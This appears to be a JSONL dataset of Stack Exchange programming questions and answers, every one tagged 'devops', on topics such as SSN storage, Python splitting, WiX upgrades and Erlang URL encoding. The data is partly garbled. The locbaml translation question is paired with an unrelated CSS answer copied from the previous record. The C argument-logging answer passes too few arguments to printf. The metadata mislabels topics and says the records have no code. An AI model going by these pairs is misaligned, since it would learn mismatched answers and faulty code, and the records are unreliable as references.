{"id": "hf_dd524817717e", "question": "<p>A client using our system has requested that we store the SSNs/SINs of the end users in our database. Currently, we store minimal information about users (name, email address, and optionally, country), so I'm not overly concerned about a security breach - however, I have a suspicion there could be legal issues about storing SSNs and not taking \"appropriate\" measures to secure them (coming from Australia, this is my first encounter with them). Is this a valid concern?</p>\n\n<p>I also read on the Wikipedia page about SINs (Canada's equivalent to SSNs) that it should ONLY be used when absolutely necessary and definitely shouldn't be used as a general identifier, or similar.</p>\n\n<p>So, are there any potential legal issues about this sort of thing? Do you have any recommendations?</p>\n", "question_body": "", "answer": "Way too many organizations in the USA use SSNs as unique identifiers for people, despite the well-documented problems with them. Unless your application actually has something to do with government benefits, there's no good reason for you to store SSns.\nGiven that so many organizations (mis)use them to identify people for things like credit checks, you really need to be careful with them. With nothing more than someone's name, address, and SSN, it's pretty easy to get credit under their name, and\nsteal their identity\n.\nThe legal issues are along the lines of getting sued into oblivion for any leak of personal information that contains SSNs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.575331"}
{"id": "hf_a63d1bdd36dd", "question": "<p>Is there a function in Python to split a string without ignoring the spaces in the resulting list? </p>\n\n<p>E.g:</p>\n\n<pre><code>s=\"This is the string I want to split\".split()\n</code></pre>\n\n<p>gives me</p>\n\n<pre><code>&gt;&gt;&gt; s\n['This', 'is', 'the', 'string', 'I', 'want', 'to', 'split']\n</code></pre>\n\n<p>I want something like</p>\n\n<pre><code>['This',' ','is',' ', 'the',' ','string', ' ', .....]\n</code></pre>\n", "question_body": "", "answer": "The hard part with what you're trying to do is that you aren't giving it a character to split on. split() explodes a string on the character you provide to it, and removes that character.\nPerhaps this may help:\n```\n```\ns = \"String to split\"\nmylist = []\nfor item in s.split():\n    mylist.append(item)\n    mylist.append(' ')\nmylist = mylist[:-1]\n```\n```\nMessy, but it'll do the trick for you...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.618904"}
{"id": "hf_edd42c3fe61d", "question": "<p>Is there any open-source, <code>PHP based</code>, role-based access control system that can be used for <code>CodeIgniter</code>?</p>\n", "question_body": "", "answer": "phpgacl\nhttp://phpgacl.sourceforge.net/\nis a generic acl based access control framework\nwhile I don't know about any CI specific implementation, i know that you only need the main class file to make phpgacl work. So i belive that integration with CI won't be any problem. (I've work passingly with CI)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.655332"}
{"id": "hf_b30a39f01030", "question": "<p>We are trying to duplicate one of our informix database on a test server, but without Informix expertise in house we can only guess what we need to do.  I am learning this stuff on the fly myself and nowhere near the expertise level needed to operate Informix efficiently or even inefficiently.  Anyhow...\nWe managed to copy the .dat and .idx files from the live server somewhere.  Installed Linux and the latest Informix Dynamic Server on it and have it up and running.  </p>\n\n<p>Now what should we do with the .dat and idx files from the live server?  Do we copy it somewhere and it will recognize it automatically?</p>\n\n<p>Or is there an equivalent way like you can do attach DB from MS SQLServer to register the database files in the new database?</p>\n\n<p>At my rope end...</p>\n", "question_body": "", "answer": "I don't have any Informix-specific advice but for situations like this you can usually find the answer by looking up how to move a database (a common admin task, and usually well described in the manual) and just skipping the steps that would remove the old database.\nAlso, be careful of problems caused by different system architectures; some DBs fail spectacularly if you move them from a big-endian system (such as Solaris) to a little-endian system (such as x86 Linux)  Again, the manual section on moving a DB would cover any extra steps that are needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.716004"}
{"id": "hf_38e284cd18ae", "question": "<p>When a process in jBPM forks into concurrent paths, each of these paths gets their own copy of the process variables, so that they run isolated from each other.</p>\n\n<p>But what happens when the paths join again ?\nObviously there could be conflicting updates.\nDoes the context revert back to the state before the fork?\nCan I choose to copy individual variables from the separate tracks?</p>\n", "question_body": "", "answer": "I think that you have to configure the Task Controllers of your tasks. In some cases it is enough to set the\n```\naccess\n```\nattribute in a way that does not result in conflicts (e.g.\n```\nread\n```\naccess to the first path and\n```\nread,write\n```\naccess to the second path). If this is not the case then you can implement your own\n```\nTaskControllerHandler\n```\nand implement the method\n```\nvoid submitTaskVariables(TaskInstance taskInstance, ContextInstance contextInstance, Token token)\n```\nwith your custom logic. Please see:\nTask Controllers\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.763549"}
{"id": "hf_a7819f0a28ea", "question": "<p>Is there a function in python to split a word into a list of single letters? e.g:</p>\n<pre><code>s = &quot;Word to Split&quot;\n</code></pre>\n<p>to get</p>\n<pre><code>wordlist = ['W', 'o', 'r', 'd', ' ', 't', 'o', ' ', 'S', 'p', 'l', 'i', 't']\n</code></pre>\n", "question_body": "", "answer": "```\n```\n>>> list(\"Word to Split\")\n['W', 'o', 'r', 'd', ' ', 't', 'o', ' ', 'S', 'p', 'l', 'i', 't']\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.823508"}
{"id": "hf_e7d866599015", "question": "<p>How do I add  a \"last\" class on the last <code>&lt;li&gt;</code> within a Views-generated list?</p>\n", "question_body": "", "answer": "You could use the\nlast-child\npseudo-class on the li element to achieve this\n```\n```\n<html>\n<head>\n<style type=\"text/css\">\nul li:last-child\n{\nfont-weight:bold\n}\n</style>\n</head>\n<body>\n<ul>\n<li>IE</li>\n<li>Firefox</li>\n<li>Safari</li>\n</ul>\n</body>\n</html>\n```\n```\nThere is also a first-child pseudo class available.\nI am not sure the last-child element works in IE though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.883636"}
{"id": "hf_1949bcd682d9", "question": "<p>Is there a way to combine a previous translation when extracting the csv file from an application? \nOr any other tool that could do this job for me? </p>\n\n<p>I can’t really see how could i use locbaml if i had to translate everything from scratch every time i add a new control in my application.</p>\n", "question_body": "", "answer": "You could use the\nlast-child\npseudo-class on the li element to achieve this\n```\n```\n<html>\n<head>\n<style type=\"text/css\">\nul li:last-child\n{\nfont-weight:bold\n}\n</style>\n</head>\n<body>\n<ul>\n<li>IE</li>\n<li>Firefox</li>\n<li>Safari</li>\n</ul>\n</body>\n</html>\n```\n```\nThere is also a first-child pseudo class available.\nI am not sure the last-child element works in IE though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.911175"}
{"id": "hf_3dea5a0cc766", "question": "<p>I'm trying to implement a pop-up menu based on a click-and-hold, positioned so that a (really) slow click will still trigger the default action, and with the delay set so that a text-selection gesture won't usually trigger the menu.  </p>\n\n<p>What I can't seem to do is cancel the text-selection in a way that doesn't prevent text-selection in the first place: returning false from the event handler (or calling <code>$(this).preventDefault()</code>) prevents the user from selecting at all, and the obvious <code>$().trigger('mouseup')</code> doesn't doesn't do anything with the selection at all.</p>\n\n<ul>\n<li>This is in the general context of a page, not particular to a textarea or other text field.</li>\n<li><code>e.stopPropogation()</code> doesn't cancel text-selection.</li>\n<li>I'm not looking to <em>prevent</em> text selections, but rather to <em>veto</em> them after some short period of time, if certain conditions are met.</li>\n</ul>\n", "question_body": "", "answer": "Try this:\n```\n```\nvar input = document.getElementById('myInputField');\nif (input) {\n    input.onmousedown = function(e) {\n\n        if (!e) e = window.event;\n        e.cancelBubble = true;\n        if (e.stopPropagation) e.stopPropagation();\n\n    }\n}\n```\n```\nAnd if not, have a read of:\nhttp://www.quirksmode.org/js/introevents.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:41.997632"}
{"id": "hf_db4b2402f0c8", "question": "<p>I have an application that is installed and updated via ClickOnce.  The application downloads files via FTP, and therefore needs to be added as an exception to the windows firewall.  Because of the way that ClickOnce works, the path to the EXE changes with every update, so the exception needs to change also.  What would be the best way to have the changes made to the firewall so that it's <em>invisible</em> to the end user?</p>\n\n<p>(The application is written in C#)</p>\n", "question_body": "", "answer": "Not sure if this is the best way, but running\nnetsh\nshould work:\nnetsh firewall add allowedprogram C:\\MyApp\\MyApp.exe MyApp ENABLE\nI think this requires Administrator Permissions though,for obvious reasons :)\nEdit: I just don't know enough about ClickOnce to know whether or not you can run external programs through it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.021785"}
{"id": "hf_cea26d9bd683", "question": "<p>Currently i am developing sites using DNN framework. Currently my development and staging environment is same. Client is vewing same site which I am using for development.</p>\n\n<p>I have started using tortoise svn (subversion) for maintaining versions and backup. I am using file based svn repository for it.</p>\n\n<p>The issue is svn creates .svn folder (hidden) in every folder. This folder and files inside it shows in portal system while file selection and at many different locations like FCKEditor File Browser, Icon selection for module / page, skins selection.</p>\n\n<p>I would like to hide this folder for entire application and it should not show up anywhere.</p>\n", "question_body": "", "answer": "Do you have to have the same environment for development and staging? I would really recommend against it. Even if you have them on the same server, I think you should have them at least in separate virtual directories.\nAssuming you have then done that, it is simple to keep the '.' directories hidden, you simply\n```\nexport\n```\nyour svn repository from dev to staging. Staging will no longer be a working copy so the '.' directories will not be present. This also allows to test potentially breaking changes without affecting the client and it keeps the staging environment more stable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.081848"}
{"id": "hf_5fc0a4ce14b8", "question": "<p>How do I get timestamp from e.g. <code>22-09-2008</code>?</p>\n", "question_body": "", "answer": "Using\nmktime\n:\n```\n```\nlist($day, $month, $year) = explode('-', '22-09-2008');\necho mktime(0, 0, 0, $month, $day, $year);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.143477"}
{"id": "hf_9dbcaa51865a", "question": "<p>Is there a runtime performance penalty when using interfaces (abstract base classes) in C++?</p>\n", "question_body": "", "answer": "There is a small penalty per virtual function call compared to a regular call. You are unlikely to observe a difference unless you are doing hundreds of thousands of calls per second, and the price is often worth paying for added code clarity anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.168022"}
{"id": "hf_01d5ac7150f1", "question": "<p>Name of the option tells something but what Visual Studio/compiler really do and what are the real consequences?</p>\n\n<p>Edit: If you search google you can find <a href=\"http://msdn.microsoft.com/en-us/library/k1ack8f1.aspx\" rel=\"noreferrer\">this address</a>, but that is not really I am looking for. I wonder the real things happening. For example why do the loops get less time, etc. </p>\n", "question_body": "", "answer": "The short answer is: use -Ox and let the compiler do its job.\nThe long answer: the effect of different kind of optimizations is impossible to predict accurately. Sometimes optimizing for fast code will actually yield smaller code than when optimizing for size. If you really want to get the last 0.01% of performance (speedwise or sizewise), you have to benchmark different combination of options.\nAlso, recent versions of Visual Studio have options for more advanced optimizations such as link-time optimization and profile-guided optimization.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.230361"}
{"id": "hf_1c0652f84a56", "question": "<p>I'm building a project from the command line using WinCE platform builder, and I need RTTI to be enabled, so that my project works correctly. I tried setting the option <code>RTTI=\"YES</code>\" in the sources and in the makefile of each dir, and I also tried to add it at the end of  <code>CDEFINES</code>, but when I try to build the project, I get the <code>D9025</code> warnings, which says that my <code>\"/GR was overriden by /GR-\" ( enable RTTI was overriden by don't enable RTTI )</code>.\nMy question is, how can I find out where that option is set, so that I can modify it?</p>\n\n<hr>\n\n<p>The thing is that we only copy the sources to some dirs, we specify them in a file named \"sources\", and then we proceed with the build by issuing the following command: <code>build</code></p>\n\n<p>What I would like to know is, where is build taking it's options from? What is the name of the file?</p>\n", "question_body": "", "answer": "Command-Line Warning D9025\nIf two options specify contradictory or incompatible directives, the directive specified or implied in the option farthest to the right on the command line is used.\nIf you get this warning when compiling from the development environment, and are not sure where the conflicting options are coming from, consider the following:\nAn option can be specified either in code or in the project's project settings. If you look at the compiler's Command Line Property Pages and if you see the conflicting options in the All Options field then the options are set in the project's property pages, otherwise, the options are set in source code.\nIf the options are set in project's property pages, look on the compiler's Preprocessor property page (with the project node selected in the Solution Explorer). If you do not see the option set there, check the Preprocessor property page settings for each source code file (in Solution Explorer) to make sure it's not added there.\nIf the options are set in code it could be set either in code or in the windows headers. You might try creating a preprocessed file (/P) and search it for the symbol.\nreference:\nhttp://msdn.microsoft.com/en-us/library/8k3f51f1(vs.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.254753"}
{"id": "hf_c1140e2ab70b", "question": "<p>I'm trying to ftp a folder using the command line ftp client, but so far I've only been able to use 'get' to get individual files. </p>\n", "question_body": "", "answer": "If you can use\n```\nscp\n```\ninstead of\n```\nftp\n```\n, the\n```\n-r\n```\noption will do this for you. I would check to see whether you can use a more modern file transfer mechanism than FTP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.304437"}
{"id": "hf_080b438dd67c", "question": "<p>I want to create a c# application with multiple windows that are all transparent with some text on.</p>\n\n<p>The tricky part is making these forms sit on top of the desktop but under the desktop icons. Is this possible?</p>\n", "question_body": "", "answer": "Just making the window transparent is very straight forward:\n```\n```\nthis.BackColor = Color.Fuchsia;\nthis.TransparencyKey = Color.Fuchsia;\n```\n```\nYou can do something like this to make it so you can still interact with the desktop or anything else under your window:\n```\n```\npublic const int WM_NCHITTEST = 0x84;\npublic const int HTTRANSPARENT = -1;\n\nprotected override void WndProc(ref Message message)\n{\n    if ( message.Msg == (int)WM_NCHITTEST )\n    {\n        message.Result = (IntPtr)HTTRANSPARENT;\n    }\n    else\n    {\n        base.WndProc( ref message );\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.341250"}
{"id": "hf_a21b3e25f8be", "question": "<p>In order to perform a case-sensitive search/replace on a table in a SQL Server 2000/2005 database, you must use the correct collation.</p>\n\n<p>How do you determine whether the default collation for a database is case-sensitive, and if it isn't, how to perform a case-sensitive search/replace?</p>\n", "question_body": "", "answer": "```\n```\nSELECT testColumn FROM testTable  \n    WHERE testColumn COLLATE Latin1_General_CS_AS = 'example' \n\nSELECT testColumn FROM testTable\n    WHERE testColumn COLLATE Latin1_General_CS_AS = 'EXAMPLE' \n\nSELECT testColumn FROM testTable \n    WHERE testColumn COLLATE Latin1_General_CS_AS = 'eXaMpLe'\n```\n```\nDon't assume the default collation will be case sensitive, just specify a case sensitive one every time (using the correct one for your language of course)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.365241"}
{"id": "hf_805fe2549598", "question": "<p>When I enter an object into the DB with Linq-to-SQL can I get the id that I just inserted without making another db call?  I am assuming this is pretty easy, I just don't know how.  </p>\n", "question_body": "", "answer": "After you commit your object into the db the object receives a value in its ID field.\nSo:\n```\n```\nmyObject.Field1 = \"value\";\n\n// Db is the datacontext\ndb.MyObjects.InsertOnSubmit(myObject);\ndb.SubmitChanges();\n\n// You can retrieve the id from the object\nint id = myObject.ID;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.436711"}
{"id": "hf_68cfe15269fc", "question": "<p>I would like to display some memory statistics (working set, GCs etc.) on a web page using the .NET/Process performance counters. Unfortunately, if there are multiple application pools on that server, they are differentiated using an index (#1, #2 etc.) but I don't know how to match a process ID (which I have) to that #xx index. Is there a programmatic way (from an ASP.NET web page)?</p>\n", "question_body": "", "answer": "The first hit on Google:\nMultiple CLR performance counters appear that have names that resemble \"W3wp#1\"\nWhen multiple ASP.NET worker processes\n  are running, Common Language Runtime\n  (CLR) performance counters will have\n  names that resemble \"W3wp#1\" or\n  \"W3sp#2\"and so on. This was remedied\n  in .NET Framework 2.0 to include a\n  counter named Process ID in the .NET\n  CLR Memory performance object. This\n  counter displays the process ID for an\n  instance. You can use this counter to\n  determine the CLR performance counter\n  that is associated with a process.\nAlso\nKB 281884\n:\nBy default, Performance Monitor\n  (Perfmon.msc) displays multiple\n  processes that have the same name by\n  enumerating the processes in the\n  following way:\nProcess#1 Process#2 Process#3\nPerformance Monitor can also display\n  these processes by appending the\n  process ID (PID) to the name in the\n  following way:\nProcess_PID", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.460859"}
{"id": "hf_297f39624007", "question": "<p>Does anybody know a Europe-based provider for OpenID?\nI am not using one of the well-known bigger services (Yahoo,..). </p>\n", "question_body": "", "answer": "I have developed one myself,\nLoginBuzz\n. It is primarily Danish and I have first translated many parts of it the last week, but it should be fully functional.\nIt supports simple registration, attribute exchange and PAPE. I have also implemented CardSpace support and text messaging (only available in Denmark at the moment) for a more secure authentication process. In a near future it should get support for client certificates as well.\nMy main goal is keeping it simple and fast. What you really want is to go back to the site that requested the authentication, not to spend time on the provider´s site.\nI am very interested in feedback for making it a better service.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.497026"}
{"id": "hf_2f50237bb046", "question": "<p>Is there an easy way (in .Net) to test if a Font is installed on the current machine?</p>\n", "question_body": "", "answer": "How do you get a list of all the installed fonts?\n```\n```\nvar fontsCollection = new InstalledFontCollection();\nforeach (var fontFamily in fontsCollection.Families)\n{\n    if (fontFamily.Name == fontName) {...} \\\\ check if font is installed\n}\n```\n```\nSee\nInstalledFontCollection class\nfor details.\nMSDN:\nEnumerating Installed Fonts", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.521877"}
{"id": "hf_06e7b975af85", "question": "<p>What is the best way of dynamically writing LINQ queries and Lambda expressions? </p>\n\n<p>I am thinking of applications where the end user can design business logic rules, which then must be executed.</p>\n\n<p>I am sorry if this is a newbie question, but it would be great to get best practices out of experience.</p>\n", "question_body": "", "answer": "I can see two ways you can dynamically generate lambda's. You could try Reflection.Emit to generate IL (the .Net bytecode) directly and call them as a lambda or you can use the System.CodeDom and Microsoft.CSharp.CSharpCodeProvider to generate the code from higher level constructs. What you want to do depends on how you want the user to input this stuff. If you want the user to write C# then you can just use the built in compliler.\nGenerating Linq dynamically should be easier. You should be able to generate LINQ queries as expression trees in runtime and then pass them into an IQueryable to execute. I'd suggest you look into the documentation on IQueryable to learn more about this. Another way would be to pre-define a couple of linq queries and then allow the user to chain them together. This should be workable because any Linq query returns an IEnumerable that can be consumed by the next Linq query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.596494"}
{"id": "hf_b1bcff807ff3", "question": "<p>Can you please clarify the folowing query? I am not sure if the way I am trying to code is correct. Kindly advise me if I am moving in the right/wrong direction.</p>\n\n<p>I am trying to develop an automation framework using <a href=\"http://en.wikipedia.org/wiki/HP_QuickTest_Professional\" rel=\"nofollow noreferrer\">QuickTest Professional</a>, a testing tool.</p>\n\n<ul>\n<li>There is an Excel sheet from which the data is being taken for execution based on the ID's stored in an array from another Excel sheet (The same ID is available in both Excel sheets).</li>\n<li>I'm trying to handle the exeptional cases through a function call. This function will capture the screenshot of the page error occured and then exit the entire loop.</li>\n<li>I need a scenario where execution continues for the next ID stored in the array, and this needs to be handled from the function call.</li>\n</ul>\n", "question_body": "", "answer": "Well, it sounds like you already have the answer.. You just need to handle the expection that occurs when reading in the data within the main loop and make it stop there..\nNow, I have not done VBScript for a LONG time so, to pseudo it:\n```\n```\nWhile Not EndOfExcelSheet\n    ReadDataFromExcel();\n    If errOccurred Then TakeScreenPrint();\n    'NOTE: We have caught the error and requested the screen print\n    'is taken, but we have NOT bubbled the exception up!\nEnd While\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.645523"}
{"id": "hf_d686dee17dbe", "question": "<p>Is there any way to generate project docs during automated builds? </p>\n\n<p>I'd like to have a single set of source files (HTML?) with the user manual, and from them generate:</p>\n\n<ul>\n<li>PDF document</li>\n<li>CHM help </li>\n<li>HTML version of the help</li>\n</ul>\n\n<p>The content would be basically the same in all three formats.</p>\n\n<p>Currently I'm using msbuild and CCNET, but I could change that if needed.</p>\n", "question_body": "", "answer": "Yes!\nUse\nSandCastle\nto build CHM/HTM documentation of the APIs.\nUse\nDocBook\n+\nFOP\nand other tools to produce other kinds of documentation in PDF, RTF, HTML etc...\nThey can be easily integrated with CruiseControl.NET through\nNAnt\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.698308"}
{"id": "hf_f4717d309c29", "question": "<p>At work we use <a href=\"http://en.wikipedia.org/wiki/WiX\" rel=\"noreferrer\">WiX</a> for building installation packages. We want that installation of product X would result in uninstall of the previous version of that product on that machine.</p>\n\n<p>I've read on several places on the Internet about a major upgrade but couldn't get it to work.\nCan anyone please specify the exact steps that I need to take to add uninstall previous version feature to WiX?</p>\n", "question_body": "", "answer": "Finally I found a solution - I'm posting it here for other people who might have the same problem (all 5 of you):\nChange the product ID to *\nUnder product add The following:\n```\n```\n<Property Id=\"PREVIOUSVERSIONSINSTALLED\" Secure=\"yes\" />\n<Upgrade Id=\"YOUR_GUID\">  \n   <UpgradeVersion\n      Minimum=\"1.0.0.0\" Maximum=\"99.0.0.0\"\n      Property=\"PREVIOUSVERSIONSINSTALLED\"\n      IncludeMinimum=\"yes\" IncludeMaximum=\"no\" />\n</Upgrade>\n```\n```\nUnder InstallExecuteSequence add:\n```\n```\n<RemoveExistingProducts Before=\"InstallInitialize\" />\n```\n```\nFrom now on whenever I install the product it removed previous installed versions.\nNote:\nreplace upgrade Id with your own GUID", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.786666"}
{"id": "hf_a93c0ec1474e", "question": "<p>I have a Windows executable (whoami) which is crashing every so often.  It's called from another process to get details about the current user and domain.  I'd like to know what parameters are passed when it fails.</p>\n\n<p>Does anyone know of an appropriate way to wrap the process and write it's command line arguments to log while still calling the process?</p>\n\n<p>Say the command is used like this:\n'whoami.exe /all'</p>\n\n<p>I'd like a script to exist instead of the whoami.exe (with the same filename) which will write this invocation to log and then pass on the call to the actual process.</p>\n", "question_body": "", "answer": "You didn't note which programming language. It is not doable from a .bat file if that's what you wanted, but you can do it in any programming language. Example in C:\n```\n```\nint main(int argc, void **argv)\n{\n    // dump contents of argv to some log file\n    int i=0;\n    for (i=0; i<argc; i++)\n        printf(\"Argument #%d: %s\\n\", argv[i]);\n    // run the 'real' program, giving it the rest of argv vector (1+)\n    // for example spawn, exec or system() functions can do it\n    return 0; // or you can do a blocking call, and pick the return value from the program\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.811902"}
{"id": "hf_6783b1de7e57", "question": "<p>I'm using <a href=\"http://erlang.org/doc/man/httpc.html#request-1\" rel=\"nofollow noreferrer\"><code>httpc:request</code></a> to post some data to a remote service. I have the post working but the data in the body() of the post comes through as is, without any URL-encoding which causes the post to fail when parsed by the remote service.</p>\n\n<p>Is there a function in Erlang that is similar to <a href=\"https://apidock.com/ruby/CGI/escape/class\" rel=\"nofollow noreferrer\"><code>CGI.escape</code></a> in Ruby for this purpose?</p>\n", "question_body": "", "answer": "AFAIK there's no URL encoder in the standard libraries. Think I 'borrowed' the following code from YAWS or maybe one of the other Erlang web servers:\n```\n```\n% Utility function to convert a 'form' of name-value pairs into a URL encoded\n% content string.\n\nurlencode(Form) ->\n    RevPairs = lists:foldl(fun({K,V},Acc) -> [[quote_plus(K),$=,quote_plus(V)] | Acc] end, [],Form),\n    lists:flatten(revjoin(RevPairs,$&,[])).\n\nquote_plus(Atom) when is_atom(Atom) ->\n    quote_plus(atom_to_list(Atom));\n\nquote_plus(Int) when is_integer(Int) ->\n    quote_plus(integer_to_list(Int));\n\nquote_plus(String) ->\n    quote_plus(String, []).\n\nquote_plus([], Acc) ->\n    lists:reverse(Acc);\n\nquote_plus([C | Rest], Acc) when ?QS_SAFE(C) ->\n    quote_plus(Rest, [C | Acc]);\n\nquote_plus([$\\s | Rest], Acc) ->\n    quote_plus(Rest, [$+ | Acc]);\n\nquote_plus([C | Rest], Acc) ->\n    <<Hi:4, Lo:4>> = <<C>>,\n    quote_plus(Rest, [hexdigit(Lo), hexdigit(Hi), ?PERCENT | Acc]).\n\nrevjoin([], _Separator, Acc) ->\n    Acc;\n\nrevjoin([S | Rest],Separator,[]) ->\n    revjoin(Rest,Separator,[S]);\n\nrevjoin([S | Rest],Separator,Acc) ->\n    revjoin(Rest,Separator,[S,Separator | Acc]).\n\nhexdigit(C) when C < 10 -> $0 + C;\nhexdigit(C) when C < 16 -> $A + (C - 10).\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.897844"}
